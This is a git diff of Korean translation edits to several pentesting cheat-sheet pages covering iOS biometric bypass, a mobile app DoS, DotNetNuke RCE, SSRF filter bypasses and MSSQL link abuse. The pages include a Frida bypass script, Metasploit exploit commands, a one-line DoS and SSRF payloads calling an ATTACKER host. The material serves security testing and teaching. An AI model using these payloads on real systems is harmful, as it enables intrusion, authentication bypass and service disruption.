탈옥된 장치와 비탈옥 장치 모두에서 [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱의 프로세스 메모리를 덤프할 수 있습니다. 덤프된 데이터를 분석하려면 검색하려는 정보의 성격에 따라 다양한 도구가 필요합니다.
|
||||
탈옥된 장치와 비탈옥 장치 모두에서, [objection](https://github.com/sensepost/objection) 및 [Fridump](https://github.com/Nightbringer21/fridump)와 같은 도구를 사용하여 앱의 프로세스 메모리를 덤프할 수 있습니다. 덤프된 데이터를 분석하려면, 검색하려는 정보의 성격에 따라 다양한 도구가 필요합니다.
|
||||
|
||||
메모리 덤프에서 문자열을 추출하기 위해 `strings` 또는 `rabin2 -zz`와 같은 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
@ -700,21 +700,21 @@ $ r2 <name_of_your_dump_file>
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## 깨진 암호화
|
||||
## Broken Cryptography
|
||||
|
||||
### 불완전한 키 관리 프로세스
|
||||
### Poor Key Management Processes
|
||||
|
||||
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 피해야 합니다.
|
||||
|
||||
### 안전하지 않거나 사용 중지된 알고리즘의 사용
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
개발자는 **사용 중지된 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장** 또는 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 무차별 대입 **저항성**을 높여야 합니다.
|
||||
개발자는 **deprecated algorithms**를 사용하여 **checks**를 수행하거나 **store** 또는 **send** 데이터를 전송해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **hashes**를 사용하여 비밀번호를 저장하는 경우, salt와 함께 brute-force **resistant** 해시를 사용해야 합니다.
|
||||
|
||||
### 확인
|
||||
### Check
|
||||
|
||||
주요 확인 사항은 코드에서 **하드코딩된** 비밀번호/비밀을 찾을 수 있는지, 그것들이 **예측 가능**한지, 그리고 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하고 있는지 확인하는 것입니다.
|
||||
주요 체크 사항은 코드에서 **hardcoded** 비밀번호/비밀을 찾을 수 있는지, 그것들이 **predictable**한지, 그리고 코드가 어떤 종류의 **weak** **cryptography** 알고리즘을 사용하고 있는지 확인하는 것입니다.
|
||||
|
||||
일부 **암호** **라이브러리**를 자동으로 **모니터링**할 수 있다는 점은 흥미롭습니다. **objection**을 사용하여:
|
||||
일부 **crypto** **libraries**를 자동으로 **monitor**할 수 있다는 점은 흥미롭습니다. **objection**을 사용하여:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
@ -722,9 +722,9 @@ ios monitor crypt
|
||||
|
||||
## 로컬 인증
|
||||
|
||||
**로컬 인증**은 원격 엔드포인트에서 암호화 방법을 통해 접근을 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
|
||||
**로컬 인증**은 원격 엔드포인트에 대한 접근을 암호화 방법으로 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현 없이는 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
|
||||
|
||||
Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 각각 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리할 수 있는 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다.
|
||||
Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 각각 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리하기 위한 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다.
|
||||
|
||||
Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이 있습니다:
|
||||
|
||||
@ -738,16 +738,16 @@ Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이
|
||||
|
||||
사용자에게 인증을 요청하기 위해 개발자는 **`LAContext`** 클래스 내의 **`evaluatePolicy`** 메서드를 사용해야 하며, 다음 중에서 선택할 수 있습니다:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Touch ID 또는 장치 비밀번호를 요청하며, 둘 다 활성화되지 않은 경우 실패합니다.
|
||||
- **`deviceOwnerAuthentication`**: Touch ID 또는 장치 암호를 요청하며, 둘 다 활성화되지 않은 경우 실패합니다.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Touch ID만 요청합니다.
|
||||
|
||||
성공적인 인증은 **`evaluatePolicy`**의 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다.
|
||||
|
||||
### 키체인을 이용한 로컬 인증
|
||||
|
||||
iOS 앱에서 **로컬 인증**을 구현하는 것은 인증 토큰과 같은 비밀 데이터를 안전하게 저장하기 위해 **키체인 API**를 사용하는 것을 포함합니다. 이 과정은 사용자가 자신의 장치 비밀번호나 Touch ID와 같은 생체 인증을 사용하여 데이터에만 접근할 수 있도록 보장합니다.
|
||||
iOS 앱에서 **로컬 인증**을 구현하는 것은 인증 토큰과 같은 비밀 데이터를 안전하게 저장하기 위해 **키체인 API**를 사용하는 것을 포함합니다. 이 과정은 사용자가 자신의 장치 암호 또는 Touch ID와 같은 생체 인증을 사용하여 데이터에만 접근할 수 있도록 보장합니다.
|
||||
|
||||
키체인은 `SecAccessControl` 속성을 사용하여 항목을 설정할 수 있는 기능을 제공하며, 이는 사용자가 Touch ID 또는 장치 비밀번호를 통해 성공적으로 인증할 때까지 항목에 대한 접근을 제한합니다. 이 기능은 보안을 강화하는 데 중요합니다.
|
||||
키체인은 `SecAccessControl` 속성을 사용하여 항목을 설정할 수 있는 기능을 제공하며, 이는 사용자가 Touch ID 또는 장치 암호를 통해 성공적으로 인증할 때까지 항목에 대한 접근을 제한합니다. 이 기능은 보안을 강화하는 데 중요합니다.
|
||||
|
||||
아래는 Swift와 Objective-C에서 키체인에 문자열을 저장하고 검색하는 방법을 보여주는 코드 예제입니다. 이 예제는 Touch ID 인증을 요구하도록 접근 제어를 설정하는 방법과 데이터가 설정된 장치에서만 접근 가능하도록 보장하는 방법을 구체적으로 보여줍니다.
|
||||
|
||||
@ -885,13 +885,13 @@ $ otool -L <AppName>.app/<AppName>
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
`Security.framework`가 사용되는 경우, 두 번째 것만 표시됩니다.
|
||||
만약 `Security.framework`가 사용된다면, 두 번째 것만 표시됩니다.
|
||||
|
||||
### 로컬 인증 프레임워크 우회
|
||||
|
||||
#### **Objection**
|
||||
|
||||
[이 GitHub 페이지](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)에 위치한 **Objection Biometrics Bypass**를 통해 **LocalAuthentication** 메커니즘을 극복할 수 있는 기술이 제공됩니다. 이 접근 방식의 핵심은 **Frida**를 활용하여 `evaluatePolicy` 함수를 조작하는 것으로, 실제 인증 성공 여부와 관계없이 항상 `True` 결과를 반환하도록 보장합니다. 이는 결함이 있는 생체 인증 프로세스를 우회하는 데 특히 유용합니다.
|
||||
**Objection Biometrics Bypass**를 통해, [이 GitHub 페이지](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)에 위치한 기술을 사용하여 **LocalAuthentication** 메커니즘을 극복할 수 있습니다. 이 접근 방식의 핵심은 **Frida**를 활용하여 `evaluatePolicy` 함수를 조작하는 것으로, 실제 인증 성공 여부와 관계없이 항상 `True` 결과를 반환하도록 보장합니다. 이는 결함이 있는 생체 인증 프로세스를 우회하는 데 특히 유용합니다.
|
||||
|
||||
이 우회를 활성화하기 위해 다음 명령이 사용됩니다:
|
||||
```bash
|
||||
@ -934,9 +934,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
로컬 인증의 **우회**를 달성하기 위해 Frida 스크립트가 작성되었습니다. 이 스크립트는 **evaluatePolicy** 검사를 목표로 하여, 콜백을 가로채서 **success=1**을 반환하도록 합니다. 콜백의 동작을 변경함으로써 인증 검사를 효과적으로 우회합니다.
|
||||
로컬 인증의 **우회**를 달성하기 위해 Frida 스크립트가 작성되었습니다. 이 스크립트는 **evaluatePolicy** 검사를 목표로 하여, 콜백을 가로채서 **success=1**을 반환하도록 합니다. 콜백의 동작을 변경함으로써 인증 검사를 효과적으로 우회할 수 있습니다.
|
||||
|
||||
아래 스크립트는 **evaluatePolicy** 메서드의 결과를 수정하기 위해 주입됩니다. 콜백의 결과를 항상 성공을 나타내도록 변경합니다.
|
||||
아래 스크립트는 **evaluatePolicy** 메서드의 결과를 수정하기 위해 주입됩니다. 콜백의 결과를 항상 성공으로 표시하도록 변경합니다.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
@ -1017,12 +1017,12 @@ burp-configuration-for-ios.md
|
||||
|
||||
### 호스트 이름 확인
|
||||
|
||||
TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **접근 중인 호스트 이름**이 인증서의 호스트 이름인지 확인하지 않는 것입니다.\
|
||||
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성**하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
|
||||
TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **인증서의 호스트 이름**이 접근 중인 호스트 이름인지 확인하지 않는 것입니다.\
|
||||
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후 **다른 호스트 이름에 대해 Burp로 새 인증서를 생성**하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
|
||||
|
||||
### 인증서 고정
|
||||
### 인증서 핀닝
|
||||
|
||||
애플리케이션이 SSL 고정을 올바르게 사용하고 있다면, 애플리케이션은 인증서가 예상되는 것일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하므로 문제가 될 수 있습니다.**\
|
||||
애플리케이션이 SSL 핀닝을 올바르게 사용하고 있다면, 애플리케이션은 인증서가 예상되는 것일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하므로 문제가 될 수 있습니다.**\
|
||||
탈옥된 장치 내에서 이 보호를 우회하기 위해 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)를 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
|
||||
|
||||
또한 **objection의** `ios sslpinning disable`을 사용할 수 있습니다.
|
||||
@ -1041,8 +1041,8 @@ TLS 인증서를 검증할 때 일반적인 문제는 인증서가 **신뢰할
|
||||
### 핫 패칭/강제 업데이트
|
||||
|
||||
개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치**할 수 있습니다.\
|
||||
이를 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
|
||||
**이는 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 권장됩니다.** 이를 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
|
||||
이 목적을 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**를 사용합니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
|
||||
**이것은 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 좋습니다.** 이 목적을 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
|
||||
|
||||
### 제3자
|
||||
|
||||
|
@ -18,7 +18,7 @@ nmap -p 8888 --open 192.168.1.0/24
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
안드로이드 핸드셋에서는 책임 있는 패키지를 로컬에서 식별할 수 있습니다:
|
||||
안드로이드 핸드셋에서는 책임 패키지를 로컬에서 식별할 수 있습니다:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
@ -57,7 +57,7 @@ print("Injected", keystrokes)
|
||||
|
||||
## 4. Android Companion – 서비스 거부
|
||||
|
||||
Android 포트(55535)는 **하드코딩된 AES-128-ECB 키**로 암호화된 4자리 비밀번호와 랜덤 논스를 기대합니다. 파싱 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드가 종료됩니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자가 연결이 끊어지게 할 수 있습니다.
|
||||
Android 포트(55535)는 **하드코딩된 AES-128-ECB 키**로 암호화된 4자 비밀번호와 랜덤 논스를 기대합니다. 구문 분석 오류는 `AES_decrypt()`로 전파되며 포착되지 않아 리스너 스레드를 종료합니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자가 연결이 끊어지게 할 수 있습니다.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -70,7 +70,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
## 6. Mitigations & Hardening Ideas
|
||||
|
||||
* 모바일 핸드셋에서 인증되지 않은 서비스를 노출하지 마십시오.
|
||||
* 온보딩 중 장치별 비밀을 파생하고 입력 처리를 하기 전에 이를 검증하십시오.
|
||||
* 온보딩 중 장치별 비밀을 파생하고 입력을 처리하기 전에 이를 검증하십시오.
|
||||
* 리스너를 `127.0.0.1`에 바인딩하고 원격 제어를 위해 상호 인증된 암호화된 전송(예: TLS, Noise)을 사용하십시오.
|
||||
* 모바일 보안 검토 중 예상치 못한 열린 포트를 감지하십시오 (`netstat`, `lsof`, `frida-trace` on `socket()` 등).
|
||||
* 최종 사용자로서: Air Keyboard를 제거하거나 신뢰할 수 있는 격리된 Wi-Fi 네트워크에서만 사용하십시오.
|
||||
|
@ -4,25 +4,25 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
DNN에 **관리자**로 로그인하면 **RCE**를 얻는 것이 쉽지만, 최근 몇 년 동안 여러 *인증되지 않은* 및 *인증 후* 기술이 발표되었습니다. 다음 치트 시트는 공격 및 방어 작업 모두에 유용한 기본 요소를 수집합니다.
|
||||
DNN에 **관리자**로 로그인하면 **RCE**를 얻는 것이 쉽지만, 최근 몇 년 동안 여러 *비인증* 및 *인증 후* 기술이 발표되었습니다. 다음 치트 시트는 공격 및 방어 작업 모두에 유용한 기본 요소를 수집합니다.
|
||||
|
||||
---
|
||||
## 버전 및 환경 열거
|
||||
|
||||
* *X-DNN* HTTP 응답 헤더를 확인하세요 – 일반적으로 정확한 플랫폼 버전을 공개합니다.
|
||||
* 설치 마법사는 `/Install/Install.aspx?mode=install`에서 버전을 유출합니다 (매우 오래된 설치에서 접근 가능).
|
||||
* `/API/PersonaBar/GetStatus` (9.x)는 낮은 권한 사용자를 위해 `"dnnVersion"`을 포함하는 JSON 블롭을 반환합니다.
|
||||
* `/API/PersonaBar/GetStatus` (9.x)는 낮은 권한 사용자에 대해 `"dnnVersion"`을 포함하는 JSON 블롭을 반환합니다.
|
||||
* 라이브 인스턴스에서 볼 수 있는 일반적인 쿠키:
|
||||
* `.DOTNETNUKE` – ASP.NET 폼 인증 티켓.
|
||||
* `DNNPersonalization` – XML/직렬화된 사용자 프로필 데이터가 포함되어 있습니다 (구버전 – 아래 RCE 참조).
|
||||
|
||||
---
|
||||
## 인증되지 않은 악용
|
||||
## 비인증 취약점 이용
|
||||
|
||||
### 1. 쿠키 역직렬화 RCE (CVE-2017-9822 및 후속)
|
||||
*영향을 받는 버전 ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization`은 내장된 404 핸들러가 활성화될 때마다 모든 요청에서 역직렬화됩니다. 따라서 조작된 XML은 임의의 가젯 체인 및 코드 실행으로 이어질 수 있습니다.
|
||||
`DNNPersonalization`은 내장된 404 핸들러가 활성화된 모든 요청에서 역직렬화됩니다. 따라서 조작된 XML은 임의의 가젯 체인 및 코드 실행으로 이어질 수 있습니다.
|
||||
```
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
@ -34,7 +34,7 @@ msf> run
|
||||
### 2. 서버 측 요청 위조 (CVE-2025-32372)
|
||||
*영향을 받는 버전 < 9.13.8 – 패치가 2025년 4월에 출시됨*
|
||||
|
||||
구버전 `DnnImageHandler` 수정의 우회를 통해 공격자가 서버에 **임의의 GET 요청**(반-블라인드 SSRF)을 하도록 강제할 수 있습니다. 실제 영향:
|
||||
구버전 `DnnImageHandler` 수정의 우회를 통해 공격자가 서버에 **임의의 GET 요청**을 하도록 강제할 수 있습니다(반-블라인드 SSRF). 실제 영향:
|
||||
|
||||
* 클라우드 배포에서 내부 포트 스캔 / 메타데이터 서비스 검색.
|
||||
* 인터넷에서 방화벽으로 차단된 호스트에 접근.
|
||||
@ -51,7 +51,7 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
특별히 조작된 콘텐츠는 DNN이 `\\attacker\share\img.png`와 같은 **UNC 경로**를 사용하여 리소스를 가져오도록 시도하게 만들 수 있습니다. Windows는 NTLM 협상을 기꺼이 수행하며, 서버 계정 해시를 공격자에게 유출합니다. **10.0.1**로 업그레이드하거나 방화벽에서 아웃바운드 SMB를 비활성화하세요.
|
||||
|
||||
### 4. IP 필터 우회 (CVE-2025-52487)
|
||||
관리자가 *Host/IP 필터*에 의존하여 관리 포털을 보호하는 경우, **10.0.1** 이전 버전은 리버스 프록시 시나리오에서 `X-Forwarded-For`를 조작하여 우회될 수 있음을 유의하세요.
|
||||
관리자가 관리 포털 보호를 위해 *Host/IP 필터*에 의존하는 경우, **10.0.1** 이전 버전은 리버스 프록시 시나리오에서 `X-Forwarded-For`를 조작하여 우회될 수 있음을 유의하세요.
|
||||
|
||||
---
|
||||
## 인증 후 RCE
|
||||
@ -74,7 +74,7 @@ xp_cmdshell 'whoami';
|
||||
|
||||
---
|
||||
## Windows에서의 권한 상승
|
||||
**IIS AppPool\<Site>**로 코드 실행이 이루어지면, 일반적인 Windows 권한 상승 기법이 적용됩니다. 만약 시스템이 취약하다면 다음을 활용할 수 있습니다:
|
||||
**IIS AppPool\<Site>**로 코드 실행이 이루어지면, 일반적인 Windows 권한 상승 기술이 적용됩니다. 만약 시스템이 취약하다면 다음을 활용할 수 있습니다:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool**를 사용하여 *SeImpersonatePrivilege*를 악용합니다.
|
||||
* **Juicy/Sharp Potatoes**를 사용하여 *Service Accounts*에서 탈출합니다.
|
||||
@ -84,8 +84,8 @@ xp_cmdshell 'whoami';
|
||||
|
||||
* **9.13.9** 이상으로 **업그레이드**합니다 (SSRF 우회 수정) 또는 바람직하게는 **10.0.1** (IP 필터 및 NTLM 문제).
|
||||
* 설치 후 잔여 **`InstallWizard.aspx*`** 파일을 제거합니다.
|
||||
* 아웃바운드 SMB (포트 445/139) 이그레스를 비활성화합니다.
|
||||
* DNN 내에서가 아니라 엣지 프록시에서 강력한 *Host Filters*를 적용합니다.
|
||||
* 아웃바운드 SMB (포트 445/139) 이탈을 비활성화합니다.
|
||||
* DNN 내에서가 아니라 엣지 프록시에서 강력한 *Host Filters*를 시행합니다.
|
||||
* 사용하지 않는 경우 `/API/RemoteContentProxy`에 대한 접근을 차단합니다.
|
||||
|
||||
## 참조
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Localhost
|
||||
### 로컬호스트
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
@ -146,7 +146,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
URL가 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다:
|
||||
URL가 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도해 볼 수 있습니다:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -158,7 +158,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
[**URL validation bypass cheat sheet** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해보세요. 여기서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 고려합니다.
|
||||
[**URL validation bypass cheat sheet** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해 보세요. 여기에서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해 줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 고려합니다.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -166,8 +166,8 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
|
||||
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
|
||||
서버가 SSRF의 **원래 요청**을 **필터링하고 있지만** 해당 요청에 대한 **리다이렉트** 응답은 필터링하지 않을 가능성이 있습니다.\
|
||||
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수**를 **필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리다이렉트하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근**할 수 있을 것입니다.\
|
||||
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
@ -193,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### 블랙슬래시 트릭
|
||||
|
||||
_블랙슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 포워드 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 것입니다.
|
||||
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시합니다.
|
||||
|
||||

|
||||
|
||||
@ -205,20 +205,20 @@ _블랙슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url
|
||||
|
||||
.png>)
|
||||
|
||||
[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)에서 가져온 이미지
|
||||
이미지 출처: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
### IPv6 존 식별자 (%25) 트릭
|
||||
|
||||
RFC 6874를 지원하는 현대 URL 파서는 **존 식별자**를 퍼센트 기호 뒤에 포함할 수 있는 *링크 로컬* IPv6 주소를 허용합니다. 일부 보안 필터는 이 구문을 인식하지 못하고 대괄호로 묶인 IPv6 리터럴만 제거하여 다음 페이로드가 내부 인터페이스에 도달하게 합니다:
|
||||
RFC 6874를 지원하는 현대 URL 파서는 *링크 로컬* IPv6 주소가 퍼센트 기호 뒤에 **존 식별자**를 포함하도록 허용합니다. 일부 보안 필터는 이 구문을 인식하지 못하고 대괄호로 묶인 IPv6 리터럴만 제거하여 다음 페이로드가 내부 인터페이스에 도달하게 합니다:
|
||||
```text
|
||||
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
```
|
||||
대상 애플리케이션이 호스트가 *아니라* `fe80::1`인지 검증하지만 `%`에서 파싱을 중단하면 요청을 외부로 잘못 처리할 수 있습니다. 항상 보안 결정을 내리기 **전에** 주소를 정규화하거나 선택적 영역 ID를 완전히 제거하십시오.
|
||||
대상 애플리케이션이 호스트가 *not* `fe80::1`인지 검증하지만 `%`에서 파싱을 중단하면 요청을 외부로 잘못 처리할 수 있습니다. 항상 보안 결정을 내리기 **전에** 주소를 정규화하거나 선택적 영역 ID를 완전히 제거하십시오.
|
||||
|
||||
### 최근 라이브러리 파싱 CVE (2022–2025)
|
||||
|
||||
여러 주요 프레임워크는 URL 검증이 위의 트릭으로 우회된 후 SSRF에 악용될 수 있는 호스트 이름 불일치 문제로 고통받았습니다:
|
||||
여러 주요 프레임워크는 URL 검증이 위에 나열된 트릭으로 우회된 후 SSRF에 악용될 수 있는 호스트 이름 불일치 문제로 고통받았습니다:
|
||||
|
||||
| 연도 | CVE | 구성 요소 | 버그 개요 | 최소 PoC |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
@ -226,7 +226,7 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | 백슬래시 혼동으로 인해 `http://example.com\\@169.254.169.254/`가 `@`에서 분할되는 호스트 필터를 우회할 수 있었습니다. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | 이름이 `.`로 접미사 붙을 때 호스트 이름 검증이 건너뛰어졌습니다 (점 없는 도메인 혼동). |
|
||||
|
||||
신뢰하는 서드파티 URL 파서에 의존할 때, **신뢰하는 라이브러리에서 반환된 정규화된 호스트와 사용자가 제공한 원시 문자열을 비교하여 이러한 문제를 감지하십시오.**
|
||||
타사 URL 파서에 의존할 때, **신뢰하는 라이브러리에서 반환된 정규화된 호스트와 사용자가 제공한 원시 문자열을 비교하여 이러한 문제를 감지하십시오.**
|
||||
|
||||
### 페이로드 생성 도우미 (2024+)
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# MSSQL AD Abuse
|
||||
# MSSQL AD 남용
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -226,7 +226,7 @@ metasploit을 사용하여 신뢰할 수 있는 링크를 쉽게 확인할 수
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
